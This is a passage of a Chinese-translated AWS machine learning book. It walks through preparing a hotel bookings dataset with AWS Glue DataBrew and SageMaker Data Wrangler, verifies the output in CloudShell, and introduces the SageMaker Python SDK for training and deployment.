然后,点击应用按钮。
-
让我们继续添加一个步骤来创建一个新列(从现有列)。定位并点击如图 5.11 所示的高亮添加步骤按钮:
图 5.11 – 添加步骤
添加步骤按钮应该位于清除所有链接所在的同一行。
- 在搜索字段中带有
create
的下拉字段中打开。从结果列表中选择基于条件选项:
图 5.12 – 定位基于条件选项
如果你正在寻找搜索字段,只需参考图 5.12中高亮的框(在顶部)。
-
在
booking_changes
列中。 -
大于
-
0
-
真或假
-
has_booking_changes
-
点击
has_booking_changes
:
图 5.13 – 预览更改
如图 5.13所示,如果booking_changes
列的值大于0
,则新列的值为true
,否则为false
。
-
在点击应用按钮之前,请先查看预览结果。
-
到目前为止,我们应该在我们的配方中有了两个应用步骤。点击发布,如图 5.14 所示:
图 5.14 – 定位并点击发布按钮
这应该会打开发布配方窗口。
- 在发布配方弹出窗口中,点击发布。请注意,在发布当前配方时,我们可以指定可选的版本描述。
现在我们已经发布了一个配方,我们可以继续创建一个将执行配方中配置的不同步骤的配方作业。
注意
在发布配方后,我们仍然需要在更改生效之前运行一个配方作业(这将生成一个应用了数据转换的新文件)。
创建和运行配方作业
正如我们在图 5.15中可以看到的,配方作业需要配置一个源和一个目标。作业读取存储在源中的数据,执行关联配方中配置的转换步骤,并将处理后的文件存储在目标中。
图 5.15 – 作业需要配置源和目标
重要的是要注意,源数据不会被修改,因为配方作业仅以只读方式连接。配方作业完成所有步骤的处理后,作业结果将存储在配置的输出目标之一或多个中。
在接下来的步骤中,我们将使用上一节中发布的配方创建并运行一个配方作业:
-
使用左侧边栏导航到配方页面。
-
选择名为
bookings-project-recipe
的行(这将切换复选框并突出显示整个行)。 -
单击使用此配方创建作业按钮。这将带您转到创建作业页面。
-
在
bookings-clean-and-add-column
-
项目
-
bookings-project
。 -
作业输出设置
- S3 位置:单击浏览。找到并选择本章此步骤中使用的相同 S3 存储桶。
-
权限:
- 角色名称:选择在早期步骤中创建的 IAM 角色。
注意
我们不仅限于将作业输出结果存储在 S3 中。我们还可以将输出结果存储在Amazon Redshift、Amazon RDS表和其他地方。有关更多信息,请随意查看以下链接:docs.aws.amazon.com/databrew/latest/dg/supported-data-connection-sources.xhtml
。
- 审查指定的配置,然后单击创建并运行作业按钮。如果您意外单击了创建作业按钮(位于创建并运行作业按钮旁边),在作业创建后,您可以单击运行作业按钮。
注意
等待 3 到 5 分钟以完成此步骤。在等待时,请随意拿一杯咖啡或茶!
难道不是很简单吗?创建、配置和运行一个配方作业是直接的。请注意,我们可以通过关联一个计划来自动化配置这个配方作业的运行。有关此主题的更多信息,您可以查看以下链接:docs.aws.amazon.com/databrew/latest/dg/jobs.recipe.xhtml
。
验证结果
现在,让我们继续在 AWS CloudShell 中检查配方作业输出结果,AWS CloudShell 是一个基于浏览器的免费 shell,我们可以使用终端来管理我们的 AWS 资源。在接下来的步骤中,我们将下载配方作业输出结果到 CloudShell 环境中,并检查预期的更改是否反映在下载的文件中:
-
当作业的 最后运行状态 变为 成功 后,点击 输出 列下的 1 输出 链接。这应该会打开 作业输出位置 窗口。点击 目的地 列下的 S3 链接,在新标签页中打开 S3 存储桶页面。
-
使用
bookings-clean-and-add-column
命令。确保按下 ENTER 键以过滤对象列表。导航到bookings-clean-and-add-column
并以part00000
结尾。 -
选择 CSV 文件(这将切换复选框)然后点击 复制 S3 URI 按钮。
-
通过点击图标,导航到 AWS CloudShell,如图 5.16 所示:
图 5.16 – 导航到 CloudShell
我们可以在 AWS 管理控制台的右上角找到这个按钮。您也可以使用搜索栏导航到 CloudShell 控制台。
-
当你看到 欢迎使用 AWS CloudShell 窗口时,点击 关闭 按钮。在继续之前,等待环境运行(大约 1 到 2 分钟)。
-
在 CloudShell 环境中运行以下命令(在
<PASTE COPIED S3 URL>
处粘贴之前步骤中复制到剪贴板的内容):TARGET=<PASTE COPIED S3 URL>
aws s3 cp $TARGET bookings.csv
这应该将输出 CSV 文件从 S3 下载到 CloudShell 环境中。
-
使用
head
命令检查bookings.csv
文件的前几行:head bookings.csv
这应该返回包含 CSV 文件标题的第一行,以及数据集的前几条记录:
图 5.17 – 验证作业结果
在 图 5.17 中,我们可以看到处理后的数据集现在包括包含 true
或 false
值的 has_booking_changes
列。您可以进一步检查 CSV 文件,并验证 children
列下没有更多的 -1
值。我们将把这个留给你作为练习。
现在,我们已经使用 AWS Glue DataBrew 分析和加工了我们的数据,我们可以继续使用 Amazon SageMaker Data Wrangler 来执行类似的操作集。
重要提示
完成本章中实际解决方案的工作后,不要忘记删除所有 Glue DataBrew 资源(例如,配方作业、配置文件作业、配方、项目和数据集)。
使用 Amazon SageMaker Data Wrangler 准备 ML 数据
Amazon SageMaker 拥有大量功能和特性,以帮助数据科学家和 ML 工程师满足不同的 ML 需求。SageMaker 的一个功能是专注于加速数据准备和数据分析,即 SageMaker Data Wrangler:
图 5.18 – SageMaker Data Wrangler 中可用的主要功能
在图 5.18中,我们可以看到使用 SageMaker Data Wrangler 可以对我们的数据进行哪些操作:
-
首先,我们可以从各种数据源导入数据,例如 Amazon S3、Amazon Athena 和 Amazon Redshift。
-
接下来,我们可以创建数据流,并使用各种数据格式化和数据转换选项来转换数据。我们还可以通过内置和自定义选项在几秒钟内分析和可视化数据。
-
最后,我们可以通过导出数据处理管道中配置的一个或多个转换来自动化数据准备工作流程。
SageMaker Data Wrangler 集成到 SageMaker Studio 中,这使得我们可以使用这项功能来处理我们的数据,并自动化我们的数据处理工作流程,而无需离开开发环境。我们无需从头开始使用各种工具、库和框架(如 pandas 和 PySpark)编写所有代码,只需简单地使用 SageMaker Data Wrangler 来帮助我们使用界面准备自定义数据流,并在几分钟内自动生成可重用的代码!
重要提示
确保注销并不使用第四章“在 AWS 上无服务器数据管理”中创建的 IAM 用户。您应该使用根账户或具有创建和管理 AWS Glue DataBrew、Amazon S3、AWS CloudShell 和 Amazon SageMaker 资源权限的新 IAM 用户。在运行本书中的示例时,建议使用具有有限权限的 IAM 用户而不是根账户。我们将在第九章“安全、治理和合规策略”中详细讨论这一点以及其他安全最佳实践。
访问 Data Wrangler
我们需要打开 SageMaker Studio 以访问 SageMaker Data Wrangler。
注意
在继续之前,请确保您已完成了第一章“在 AWS 上开始使用 SageMaker 和 SageMaker Studio”部分中的动手练习。如果您正在使用旧版本,您还可以更新 SageMaker Studio 以及 Studio Apps。有关此主题的更多信息,您可以查看以下链接:docs.aws.amazon.com/sagemaker/latest/dg/studio-tasks-update-studio.xhtml
。请注意,本节中的步骤假设我们正在使用 JupyterLab 3.0。如果您使用的是不同版本,您可能会在布局和用户体验方面遇到一些差异。
在接下来的步骤中,我们将启动 SageMaker Studio 并从文件菜单访问 Data Wrangler:
- 导航到 AWS 管理控制台的搜索栏中的
sagemaker studio
,并从功能下的结果列表中选择SageMaker Studio。
重要提示
本章假设我们在使用服务管理和创建不同类型的资源时,正在使用us-west-2
区域。您可以使用不同的区域,但请确保在需要将某些资源转移到所选区域时进行任何必要的调整。
-
接下来,在侧边栏中点击SageMaker Domain下的工作室。
-
点击启动应用,如图 5.19中所示。从下拉选项列表中选择工作室:
图 5.19 – 打开 SageMaker Studio
这将带您到SageMaker Studio。等待几秒钟,直到界面加载完成。
- 打开正在配置的
ml.m5.4xlarge
实例以运行 Data Wrangler。一旦准备就绪,您将看到导入数据页面。
就这样,让我们在下一节中继续导入我们的数据。
重要提示
一旦您完成本章的动手实践,用于运行 Data Wrangler 的ml.m5.4xlarge
实例需要立即关闭,以避免产生额外费用。点击并定位左侧侧边栏上的圆形图标以显示正在运行的实例、应用、内核会话和终端会话的列表。确保在完成使用 SageMaker Studio 后,在正在运行的实例下关闭所有运行实例。
导入数据
在使用 Data Wrangler 导入数据时,有多种选项。我们可以从包括 Amazon S3、Amazon Athena、Amazon Redshift、Databricks(JDBC)和 Snowflake 在内的各种来源导入和加载数据。
在接下来的步骤中,我们将专注于导入存储在我们账户中 S3 存储桶上传的 Parquet 文件中的数据:
-
在导入数据页面(位于导入选项卡下),点击Amazon S3。
-
在您 AWS 账户中 S3 存储桶上传的
synthetic.bookings.dirty.parquet
文件。
重要提示
如果您跳过了本章的使用 AWS Glue DataBrew 自动化数据准备和分析部分,您需要将本章准备基本先决条件部分下载的 Parquet 文件上传到新的或现有的 Amazon S3 存储桶。
- 如果您看到一个类似于图 5.20中所示的预览错误通知,您可以通过打开文件类型下拉菜单并从选项列表中选择parquet来移除它。
图 5.20 – 设置文件类型为 Parquet
选择文件类型下拉菜单中的parquet选项后,预览错误消息应该会消失。
如果您正在使用 JupyterLab 版本 3.0,parquet选项已经预先选中。
- 如果你使用的是 JupyterLab 版本 1.0,csv选项可能被预先选中,而不是parquet选项。但不管版本如何,我们应该将文件类型下拉值设置为parquet。点击页面右上角的导入按钮。这将把你重定向回数据流页面。
注意,我们不仅限于从 Amazon S3 导入。我们还可以从 Amazon Athena、Amazon Redshift 和其他数据源导入数据。你可以查看docs.aws.amazon.com/sagemaker/latest/dg/data-wrangler-import.xhtml
获取更多信息。
数据转换
在 SageMaker Data Wrangler 中处理和转换我们的数据时,有许多内置选项。在本章中,我们将展示如何使用自定义 PySpark 脚本来转换数据的快速演示。
注意
关于可用的众多数据转换的更多信息,请随时查看以下链接:docs.aws.amazon.com/sagemaker/latest/dg/data-wrangler-transform.xhtml
。
在接下来的步骤中,我们将添加并配置一个自定义 PySpark 转换来清理和处理我们的数据:
-
如果你可以看到数据类型 · 转换:synthetic.bookings.dirty.parquet页面,通过点击页面左上角的< 数据流按钮导航回数据流页面。我们将在查看下一步中数据流当前配置的快速查看后回到这个页面。
-
在数据流页面,点击如图 5.21 所示的高亮+按钮。从选项列表中选择添加转换:
图 5.21 – 添加转换
在本章中,我们只将与一个数据集工作。然而,重要的是要注意,我们可以使用如图 5.21 所示的连接选项来处理和合并两个数据集。
- 在页面左侧的所有步骤面板中,点击添加步骤按钮。这将显示用于转换数据集的选项列表。
注意
如果你使用的是JupyterLab 1.0,你应该看到左侧面板上标记为TRANSFORMS而不是所有步骤。
-
从选项列表中选择自定义转换。
-
在自定义转换中,将以下代码输入到代码编辑器中:
df = df.filter(df.children >= 0)
expression = df.booking_changes > 0
df = df.withColumn('has_booking_changes', expression)
这段代码块的功能是选择并保留所有children
列的值等于0
或更高的行,并创建一个新列has_booking_changes
,如果booking_changes
列的值大于0
,则该列的值为true
,否则为false
。
注意
如果你使用的是JupyterLab 1.0,你应该看到左侧面板上标记为CUSTOM PYSPARK而不是CUSTOM TRANSFORM。
- 点击
has_booking_changes
列,类似于图 5.22 中的操作:
图 5.22 – 预览更改
你应该在total_of_special_requests列旁边找到has_booking_changes列(这是预览中最左侧的列)。
-
在完成数据预览的审查后,你可以在点击添加按钮之前提供一个可选的名称值。
-
在上一步点击添加按钮后,找到并点击页面右上角的<数据流链接(或返回数据流链接)。
注意
需要注意的是,这些步骤尚未执行,因为我们只是在定义稍后将要运行的步骤。
注意,我们在这里使用 SageMaker Data Wrangler 只是在触及我们能做的事情的表面。以下是一些其他可用的转换示例:
-
平衡数据(例如,随机过采样、随机欠采样和 SMOTE)
-
对分类数据进行编码(例如,独热编码、相似度编码)
-
处理缺失的时间序列数据
-
从时间序列数据中提取特征
对于更完整的转换列表,请随意查看以下链接:docs.aws.amazon.com/sagemaker/latest/dg/data-wrangler-transform.xhtml
。
注意
如果你对如何使用各种技术(如随机过采样、随机欠采样和 SMOTE)平衡数据感兴趣,请随意查看以下博客文章:aws.amazon.com/blogs/machine-learning/balance-your-data-for-machine-learning-with-amazon-sagemaker-data-wrangler/
。
分析数据
分析我们将在后续步骤中用于训练机器学习模型的 数据至关重要。我们需要对可能无意中影响使用此数据训练的机器学习模型的行为和性能的属性有一个良好的了解。分析数据集有多种方法,而 SageMaker Data Wrangler 的好处在于它允许我们从一系列预构建的分析选项和可视化中选择,包括以下列表中的选项:
-
直方图——可以用来显示数据的“形状”
-
散点图——可以用来显示两个数值变量之间的关系(使用代表数据集中每个数据点的点)
-
表格摘要——可以用来显示数据集的摘要统计信息(例如,记录数或每列的最小值和最大值)
-
特征重要性分数(使用快速模型)——用于分析每个特征在预测目标变量时的影响
-
目标泄漏分析——可以用来检测数据集中与我们要预测的列强相关的列
-
时间序列数据的异常检测 – 可以用来检测时间序列数据中的异常值
-
偏差报告 – 可以用来检测数据集中潜在的偏差(通过计算不同的偏差指标)
注意
注意,这并不是一个详尽的列表,当你在这个部分的实践部分工作时,你可能会看到其他选项。
在接下来的步骤中,我们将创建一个分析和生成偏差报告:
- 点击+按钮,从选项列表中选择添加分析,类似于图 5.23中的操作:
图 5.23 – 添加分析
你应该看到位于页面左侧的创建分析面板。
-
在
偏差报告
中指定以下配置选项 -
样本分析
-
is_cancelled
-
1
-
babies
-
阈值
-
1
-
滚动到页面底部。定位并点击检查偏差按钮(在保存按钮旁边)。
-
向上滚动并定位偏差报告,类似于图 5.24中所示:
图 5.24 – 偏差报告
在这里,我们可以看到0.92
。这意味着数据集高度不平衡,优势组(is_cancelled = 1
)的代表性远高于劣势组(is_cancelled = 0
)。
注意
我们将在第九章“安全、治理和合规策略”的详细内容中深入了解偏差指标的计算和解释。
-
滚动并点击保存按钮(在检查偏差按钮旁边)
-
定位并点击<数据流链接(或返回数据流链接)以返回到数据流页面。
除了偏差报告外,我们还可以生成数据可视化,如直方图和散点图,以帮助我们分析数据。我们甚至可以使用提供的数据集快速生成一个模型,并生成一个特征重要性报告(显示每个特征在预测目标变量时的作用)。更多信息,请查看以下链接:docs.aws.amazon.com/sagemaker/latest/dg/data-wrangler-analyses.xhtml
。
导出数据流
准备就绪后,让我们继续导出在前几节中准备的数据流。在执行导出操作时,有多种选择。这包括将数据导出到 Amazon S3 存储桶。我们还可以选择使用包含相关代码块的 Jupyter 笔记本,将数据流中的一个或多个步骤导出到SageMaker Pipelines。同样,我们也有将准备好的特征导出到SageMaker Feature Store的选项。还有一个选项可以直接将数据流步骤导出到 Python 代码。
注意
一旦数据流步骤被导出并转换为代码,生成的代码和 Jupyter 笔记本就可以运行以执行数据流中配置的不同步骤。最后,经验丰富的机器学习从业者可能会选择在需要时修改生成的笔记本和代码。
在接下来的步骤中,我们将执行导出操作并生成一个将利用SageMaker 处理作业处理数据并将结果保存到 S3 桶中的 Jupyter Notebook:
- 在第三个框之后点击+按钮,选择Python (PySpark)(或使用你在早期步骤中指定的自定义名称),如图 5.25中所示,然后打开导出到下的选项列表:
图 5.25 – 导出步骤
这应该会给我们一个包含以下选项的列表:
-
Amazon S3(通过 Jupyter Notebook)
-
SageMaker 流水线(通过 Jupyter Notebook)
-
Python 代码
-
SageMaker 特征存储(通过 Jupyter Notebook)
注意
如果你使用的是 JupyterLab 1.0,你首先需要通过点击数据流标签旁边的导出标签来导航到导出数据流页面。之后,你需要点击自定义 PySpark下的第三个框,然后点击导出步骤按钮(这将打开选项的下拉列表)。
-
从选项列表中选择Amazon S3(通过 Jupyter Notebook)。这应该会生成并打开使用 SageMaker 处理作业保存到 S3的 Jupyter Notebook。请注意,在此阶段,配置的数据转换尚未应用,我们需要运行生成的笔记本文件中的单元格以应用转换。
-
定位并点击第一个可运行的单元格。使用运行选定的单元格并前进按钮运行它,如图 5.26中所示:
图 5.26 – 运行第一个单元格
如图 5.26所示,我们可以在输入和输出下找到第一个可运行的单元格。在等待内核启动时,你可能会看到一个“注意:内核仍在启动中。请在内核启动后再次执行此单元格。”的消息。
注意
等待内核启动。这一步骤可能需要大约 3 到 5 分钟,因为正在配置机器学习实例以运行 Jupyter Notebook 单元格。一旦你完成本章的动手实践,用于运行 Jupyter Notebook 单元格的机器学习实例需要立即关闭,以避免产生额外费用。点击并定位左侧侧边栏上的圆形图标以显示运行实例、应用程序、内核会话和终端会话的列表。确保在完成使用 SageMaker Studio 后,关闭正在运行实例下的所有运行实例。
- 一旦内核准备好,点击在
run_optional_steps
变量设置为False
下包含第一个代码块的单元格。
注意
如果你正在 wondering 什么是 SageMaker 处理作业,它是一种利用 AWS 管理基础设施运行脚本的作业。这个脚本被编码成执行用户定义的一系列操作(或脚本的创建者)。你可以查看 docs.aws.amazon.com/sagemaker/latest/dg/processing-job.xhtml
了解更多关于这个主题的信息。
运行 Save to S3 with a SageMaker Processing Job Jupyter 笔记本中所有单元格可能需要大约 10 到 20 分钟。在等待的同时,让我们快速检查笔记本中的不同部分:
-
输入和输出 – 在这里我们指定流程导出的输入和输出配置
-
运行处理作业 – 在这里我们配置并运行一个 SageMaker 处理作业
-
(可选)下一步操作 – 在这里我们可以选择将处理后的数据加载到 pandas 中进行进一步检查,并使用 SageMaker 训练模型
注意
如果你遇到类似 input_name
的错误消息,该错误消息与存储在 data_sources
列表中的 ProcessingInput
对象的值(并且列表中应该只有一个 ProcessingInput
对象)。如果你遇到其他意外的错误,请根据需要自由地调试 Python 代码。
- 一旦在 (可选)下一步操作 中抛出了
SystemExit
,找到并滚动到 作业状态 & S3 输出位置 下的单元格,并将 图 5.27 中高亮显示的 S3 路径复制到你的本地机器上的文本编辑器(例如,VS Code)中:
图 5.27 – 复制存储作业结果的 S3 路径
在继续之前,你应该找到 SystemExit
之前抛出的 S3 路径。
现在我们已经运行完生成的 Jupyter 笔记本中的单元格,你可能想知道,最初生成 Jupyter 笔记本的意义是什么?为什么不直接运行数据流步骤,而无需生成脚本或笔记本?这个答案很简单:这些生成的 Jupyter 笔记本是作为初始模板,可以根据需要的工作要求进行定制。
注意
等等!数据集的处理版本在哪里?在下一节中,我们将快速关闭 SageMaker Studio 自动启动的实例以管理成本。关闭资源后,我们将继续在章节末尾的 验证结果 部分下载并检查保存在 S3 中的输出 CSV 文件。
关闭资源
需要注意的是,SageMaker Studio 在每次我们使用和访问 SageMaker Data Wrangler 时都会自动启动一个ml.m5.4xlarge
实例(截至编写时)。此外,当在 Jupyter 笔记本中运行一个或多个单元格时,还会分配另一个 ML 实例。如果我们使用类似于图 5.28中的 AWS Deep Learning Container 在 Jupyter 笔记本上创建和运行 ML 实验,那么可能还会分配一个ml.g4dn.xlarge
实例。这些实例和资源需要手动关闭和删除,因为这些资源即使在非活动期间也不会自动关闭:
图 5.28 – SageMaker Studio 操作的高级视图
关闭这些资源至关重要,因为我们不希望为这些资源未被使用的时间付费。在接下来的步骤中,我们将定位并关闭 SageMaker Studio 中的运行实例:
- 点击侧边栏中高亮显示的圆形图标,如图 5.29所示:
图 5.29 – 关闭运行实例
点击圆形图标将打开并显示 SageMaker Studio 中的运行实例、应用程序和终端。
- 通过点击每个实例中高亮显示的关闭按钮来关闭运行实例下的所有运行实例。如图 5.29所示。点击关闭按钮将打开一个弹出窗口,以验证实例关闭操作。点击关闭所有按钮继续。
在继续前进之前,您可能希望安装并使用一个 JupyterLab 扩展,该扩展可以在非活动期间自动关闭某些资源,类似于SageMaker Studio 自动关闭扩展。您可以在以下位置找到扩展:github.com/aws-samples/sagemaker-studio-auto-shutdown-extension
。
重要提示
即使安装了扩展,仍然建议在使用 SageMaker Studio 后手动检查并关闭资源。请确保定期检查和清理资源。
验证结果
到目前为止,数据集的处理版本应该存储在您复制到本地机器文本编辑器中的目标 S3 路径上。在接下来的步骤中,我们将将其下载到 AWS CloudShell 环境中,并检查预期的更改是否反映在下载的文件中:
-
在 SageMaker Studio 中,打开文件菜单,并从选项列表中选择注销。这将将您重定向回SageMaker 域页面。
-
通过点击图 5.30中高亮显示的图标导航到CloudShell:
图 5.30 – 导航到 CloudShell
我们可以在 AWS 管理控制台的右上角找到这个按钮。您也可以使用搜索栏导航到 CloudShell 控制台。
-
一旦终端准备好,请通过运行以下命令将 CloudShell 环境中的所有文件移动到
/tmp
目录(在 $ 之后):mv * /tmp 2>/dev/null
-
使用
aws s3 cp
命令将存储在 S3 中的生成的 CSV 文件复制到 CloudShell 环境中。请确保将<PASTE S3 URL>
替换为您从 Save to S3 with a SageMaker Processing Job 笔记本复制到您本地机器上的文本编辑器中的 S3 URL:S3_PATH=<PASTE S3 URL>
aws s3 cp $S3_PATH/ . --recursive
-
使用以下命令递归列出文件和目录:
ls -R
您应该能看到存储在 <UUID>/default
中的 CSV 文件。
-
最后,使用
head
命令检查 CSV 文件:head */default/*.csv
这应该会给我们 CSV 文件的前几行,类似于我们在 图 5.31 中看到的那样:
图 5.31 – 验证更改
在这里,我们可以看到数据集有一个新的 has_booking_changes
列,包含 true
和 false
值。您可以进一步检查 CSV 文件,并验证在 children
列下没有更多的 -1
值。我们将把这个留给你作为练习(即,验证 CSV 文件中的 children
列下没有更多的 -1
值)。
现在我们已经使用 Amazon SageMaker Data Wrangler 和 AWS Glue DataBrew 处理和分析了一个样本数据集,您可能想知道何时使用其中一个工具而不是另一个。以下是一些在做出决定时的通用建议:
-
如果您计划使用类似于我们在本章中执行的自定义转换使用 PySpark,那么您可能想使用 Amazon SageMaker Data Wrangler。
-
如果源、连接或文件类型格式在 SageMaker Data Wrangler 中不受支持(例如,Microsoft Excel 工作簿格式或
.xlsx
文件),那么您可能想使用 AWS Glue Data Brew。 -
如果您想导出数据处理工作流程并自动生成 Jupyter 笔记本,那么您可能想使用 Amazon SageMaker Data Wrangler。
-
如果工具的主要用户编码经验有限,并且更愿意在不阅读、定制或编写任何代码的情况下处理和分析数据,那么可以使用 AWS Glue Data Brew 而不是 Amazon SageMaker Data Wrangler。
当然,这些只是一些您可以使用的指南,但最终决定使用哪个工具将取决于需要完成的工作的上下文,以及做出决定时工具的限制。功能和限制会随时间变化,所以确保在做出决定时尽可能多地审查各个角度。
摘要
在使用数据训练机器学习模型之前,数据需要被清理、分析和准备。由于处理这些类型的要求需要时间和精力,因此建议在分析和处理我们的数据时使用无代码或低代码解决方案,例如 AWS Glue DataBrew 和 Amazon SageMaker Data Wrangler。在本章中,我们能够使用这两项服务来分析和处理我们的样本数据集。从样本“脏”数据集开始,我们执行了各种转换和操作,包括(1)对数据进行配置文件分析和分析,(2)过滤掉包含无效数据的行,(3)从现有列创建新列,(4)将结果导出到输出位置,以及(5)验证转换是否已应用于输出文件。
在下一章中,我们将更深入地了解 Amazon SageMaker,并深入探讨在进行机器学习实验时如何使用这项托管服务。
进一步阅读
关于本章涵盖的主题的更多信息,您可以自由地查看以下资源:
-
AWS Glue DataBrew 产品和服务集成 (
docs.aws.amazon.com/databrew/latest/dg/databrew-integrations.xhtml
) -
AWS Glue DataBrew 中的安全性 (
docs.aws.amazon.com/databrew/latest/dg/security.xhtml
) -
创建和使用 Data Wrangler 流程 (
docs.aws.amazon.com/sagemaker/latest/dg/data-wrangler-data-flow.xhtml
) -
Data Wrangler – 转换 (
docs.aws.amazon.com/sagemaker/latest/dg/data-wrangler-transform.xhtml
) -
Data Wrangler – 故障排除 (
docs.aws.amazon.com/sagemaker/latest/dg/data-wrangler-trouble-shooting.xhtml
)
第三部分:使用相关模型训练和部署解决方案深入探讨
在本节中,读者将学习使用 Amazon SageMaker 的不同功能和特性,以及其他 AWS 服务,来了解相关的模型训练和部署解决方案。
本节包括以下章节:
-
第六章,SageMaker 训练和调试解决方案
-
第七章,SageMaker 部署解决方案
第六章:SageMaker 训练和调试解决方案
在第二章 深度学习 AMIs和第三章 深度学习容器中,我们在 EC2 实例内进行了最初的 ML 训练实验。我们注意到了运行这些 EC2 实例每小时的成本,因为在某些情况下,我们需要使用更昂贵的实例类型(例如每小时大约7.20 美元的p2.8xlarge
实例)来运行我们的 ML 训练作业和工作负载。为了管理和降低使用这些 EC2 实例运行 ML 工作负载的整体成本,我们讨论了几种成本优化策略,包括在训练作业完成后手动关闭这些实例。
在这一点上,您可能想知道是否可以自动化以下流程:
-
启动将运行 ML 训练作业的 EC2 实例
-
在模型训练后将训练好的 ML 模型的模型工件上传到存储位置(例如 S3 存储桶)
-
一旦训练作业完成,删除 EC2 实例
好消息是,这可以通过自动化脚本来实现!一旦这个流程的大部分已经自动化,我们就可以更多地关注准备用于训练我们的 ML 模型的脚本。我们可以编写自己的自动化脚本集;然而,我建议您不要重新发明轮子,因为 AWS 已经在我们使用的Amazon SageMaker中为我们自动化了这个流程!
SageMaker 拥有许多功能和特性,可以帮助数据科学家和 ML 从业者轻松地在 AWS 云中执行 ML 实验和部署。在前几章中,我们快速浏览了一些这些功能,包括SageMaker Canvas、SageMaker Autopilot和SageMaker Data Wrangler。在本章中,我们将更深入地探讨其功能和特性,这些功能和特性专注于在 AWS 托管基础设施资源内训练 ML 模型。您可能会惊讶地发现,只需添加几个额外的配置参数,就可以启用某些训练技术和解决方案,例如网络隔离、分布式训练、托管 Spot 训练、检查点和增量训练。如果您第一次遇到这些概念和技术,请不要担心,我们将在本章中更详细地讨论这些内容。
在本章中,我们将涵盖以下主题:
-
开始使用 SageMaker Python SDK
-
准备基本先决条件
-
使用 SageMaker Python SDK 训练图像分类模型
-
使用调试器洞察仪表板
-
利用托管 Spot 训练和检查点
-
清理工作
在我们开始本章的动手解决方案之前,我们将先简要讨论如何使用SageMaker Python SDK来帮助我们利用和操作 SageMaker 服务的不同功能和特性。
技术要求
在我们开始之前,我们必须准备好以下内容:
-
一个网络浏览器(最好是 Chrome 或 Firefox)
-
访问本书前几章中使用的 AWS 账户
每一章使用的 Jupyter 笔记本、源代码和其他文件都可在本书的 GitHub 仓库中找到:https://github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS。
重要提示
在本书中运行示例时,建议使用具有有限权限的 IAM 用户而不是根账户。我们将在第九章“安全、治理和合规策略”中详细讨论这一点,以及其他安全最佳实践。如果您刚开始使用 AWS,您可以在同时继续使用根账户。
使用 SageMaker Python SDK 入门
SageMaker Python SDK 是一个库,允许机器学习从业者使用 SageMaker 的不同特性和功能来训练和部署机器学习模型。它提供了几个高级抽象,如 Estimators、Models、Predictors、Sessions、Transformers 和 Processors,所有这些封装并映射到特定的机器学习过程和实体。这些抽象允许数据科学家和机器学习工程师仅用几行代码来管理机器学习实验和部署。同时,基础设施管理已由 SageMaker 处理,所以我们只需要配置这些高级抽象的正确参数集。
注意,也可以使用 boto3 库的不同功能和特性来使用 SageMaker。与使用 SageMaker Python SDK 相比,我们使用 boto3 将会处理显著更多的代码行,因为我们必须注意使用库中提供的低级客户端和函数时的细节。建议尽可能使用 SageMaker Python SDK,并且仅在 SageMaker Python SDK 不直接支持的高级场景中使用 boto3 库。
注意
如果您想了解更多关于如何处理更高级用例时同时使用这两个库的信息,请参阅第八章“模型监控和管理解决方案”。
以下图表显示,使用 SageMaker Python SDK 训练和部署机器学习模型仅涉及几行代码:
图 6.1 – SageMaker Python SDK
在这里,我们使用 SageMaker Python SDK 来完成以下操作:
-
我们首先初始化一个
Estimator
对象,然后使用其set_hyperparameters()
方法来指定所需的超参数值组合。在这里,我们可以通过提供初始化Estimator
对象时的相应配置参数值来指定是否使用内置算法或自定义算法(使用脚本和自定义 Docker 容器镜像)。 -
接下来,我们调用
fit()
方法,该方法使用在Estimator
对象配置中定义的所需属性集运行训练作业。这个训练作业将在专用实例中运行,一旦训练作业完成,这些实例将自动终止。 -
最后,我们使用
deploy()
方法将训练好的模型部署到 SageMaker 为我们自动准备的一个专用实时推理端点。然后,我们使用predict()
方法在推理端点上执行样本预测。
这只是使用SageMaker Python SDK在 AWS 云中训练和部署我们的 ML 模型的一种方法。如果我们已经有一个可用的预训练模型(例如,从模型存储库下载预构建的 ML 模型后),我们可以完全跳过训练步骤,并使用以下代码块立即部署模型:
from sagemaker.model import Model
model = Model(model_data=model_data, ...)
model.deploy(<insert configuration parameters>)
当然,前面的代码块假设模型工件已经上传到 S3 桶中,并且model_data
变量指向这些模型工件或文件存储的位置。
注意
如果你想要了解更多关于如何在 SageMaker 中直接使用预训练模型进行部署的信息,请查看《Amazon SageMaker CookBook》一书的第七章,SageMaker 部署解决方案。
如果我们想要利用 SageMaker 的自动模型调优功能,并在寻找“最佳模型”时自动使用不同超参数组合运行多个训练作业,那么我们只需要运行几行代码,类似于以下代码块中的内容:
estimator = Estimator(...)
estimator.set_hyperparameters(...)
hyperparameter_ranges = {...}
objective_metric_name = "<insert target metric>"
hyperparameter_tuner = HyperparameterTuner(
estimator,
objective_metric_name,
hyperparameter_ranges,
max_jobs=20,
max_parallel_jobs=3
)
hyperparameter_tuner.fit(...)
在这里,SageMaker 为我们做了所有繁重的工作,我们只需要关注运行超参数调优作业所需的配置参数。如果我们自己使用自定义自动化脚本来构建,这可能会花费我们几周(甚至可能是几个月!)的时间。
注意
如果你想要了解更多关于如何使用SageMaker Python SDK利用 SageMaker 的自动模型调优功能,请查看《Amazon SageMaker CookBook》一书的第六章,SageMaker 训练和调试解决方案。
当使用 Amazon SageMaker 训练模型时,有几种选项和功能可用。这包括网络隔离、分布式训练、托管 Spot 训练、检查点、增量训练等等。与之前讨论的自动模型调优功能类似,利用和启用这些功能只需几行额外的代码。如果你想知道这些是什么,请不要担心——随着我们在本章中动手解决实际问题,我们将详细讨论每个这些功能。
现在我们已经更好地理解了SageMaker Python SDK如何帮助我们训练和部署云中的 ML 模型,让我们继续创建服务限制请求!
准备基本先决条件
在本节中,我们将在进行本章的动手实践解决方案之前,确保以下先决条件已准备就绪:
-
我们有一个服务限制增加请求,用于运行使用
ml.p2.xlarge
实例(SageMaker 训练)的 SageMaker 训练作业 -
我们有一个服务限制增加请求,用于运行使用
ml.p2.xlarge
实例(SageMaker 管理预留实例训练)的 SageMaker 训练作业
如果您想知道为什么本章使用 ml.p2.xlarge
实例,那是因为我们被要求使用 图像分类算法 支持的实例类型之一,如下面的截图所示:
图 6.2 – 图像分类算法的 EC2 实例推荐
如我们所见,当运行图像分类算法的训练作业时,我们可以使用 ml.p2.xlarge
、ml.p2.8xlarge
、ml.p2.16xlarge
、ml.p3.2xlarge
、ml.p3.8xlarge
和 ml.p3.16xlarge
(截至编写时)。
注意
查阅 docs.aws.amazon.com/sagemaker/latest/dg/image-classification.xhtml
了解更多关于此主题的信息。
创建服务限制增加请求
